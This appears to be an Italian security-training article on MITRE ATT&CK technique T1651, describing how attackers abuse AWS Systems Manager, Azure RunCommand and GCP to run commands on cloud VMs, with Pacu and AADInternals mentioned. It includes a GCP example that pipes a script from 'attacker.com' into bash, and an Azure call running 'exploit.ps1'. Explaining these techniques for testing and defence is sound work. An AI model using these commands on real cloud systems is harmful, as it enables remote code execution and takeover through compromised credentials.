Comandi Cloud per Esecuzione Remota: Cloud Administration Command (T1651)
L'abuso dei servizi di gestione cloud rappresenta una minaccia sofisticata che sfrutta funzionalità legittime per eseguire comandi malevoli all'interno di macchine virtuali. Questa tecnica si inserisce nella tattica TA0002 (Execution), permettendo agli attaccanti di far girare codice arbitrario su sistemi remoti attraverso strumenti nativi come AWS Systems Manager, Azure RunCommand e Runbooks.
L'impatto potenziale è significativo considerando che 1 gruppo APT ha già dimostrato l'utilizzo operativo di questa tecnica. La pericolosità risiede nella capacità di muoversi lateralmente attraverso ambienti cloud sfruttando gli agent preinstallati nelle VM, rendendo l'attività difficilmente distinguibile dalle normali operazioni amministrative.
Gli attaccanti che compromettono account amministrativi cloud o service provider possono sfruttare le relazioni di trust esistenti per estendere il loro controllo. La tecnica si posiziona nella fase di esecuzione della kill chain, spesso combinata con altre tattiche per raggiungere obiettivi più ampi come l'esplorazione della rete o l'esfiltrazione di dati.
Per testare la resilienza dell'infrastruttura cloud contro questa tecnica, è fondamentale padroneggiare i comandi nativi delle principali piattaforme. In AWS, il servizio Systems Manager permette l'esecuzione remota attraverso il comando aws ssm send-command.
aws ssm send-command --instance-ids "i-1234567890abcdef0" --document-name "AWS-RunShellScript" --parameters 'commands=["whoami","id","ps aux"]'
Il tool Pacu automatizza molte di queste operazioni per AWS, fornendo moduli specifici per l'exploitation di EC2 attraverso SSM. L'installazione è semplice con pip install pacu, seguita dall'importazione delle credenziali AWS compromesse.
In ambiente Azure, la funzionalità RunCommand offre capacità analoghe. Il comando PowerShell per eseguire script remoti sfrutta il cmdlet Invoke-AzVMRunCommand:
Invoke-AzVMRunCommand -ResourceGroupName "TestRG" -Name "TestVM" -CommandId "RunPowerShellScript" -ScriptPath "C:\exploit.ps1"
AADInternals rappresenta un toolkit potente per l'abuso di Azure. Dopo l'installazione con Install-Module AADInternals, è possibile sfruttare l'agent delle VM per esecuzione remota attraverso funzioni dedicate che interagiscono con l'infrastruttura Azure AD.
Per Google Cloud Platform, il servizio OS Config gestisce l'esecuzione remota. Il comando gcloud permette di inviare script alle istanze:
gcloud compute ssh instance-1 --command="curl http://attacker.com/payload.sh | bash"
La catena d'attacco tipica prevede prima la compromissione di credenziali amministrative cloud, seguita dall'enumerazione delle VM disponibili e infine l'esecuzione di payload attraverso i servizi di gestione. È cruciale testare anche scenari di privilege escalation dove account con permessi limitati vengono elevati sfruttando misconfigurazioni delle policy IAM.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo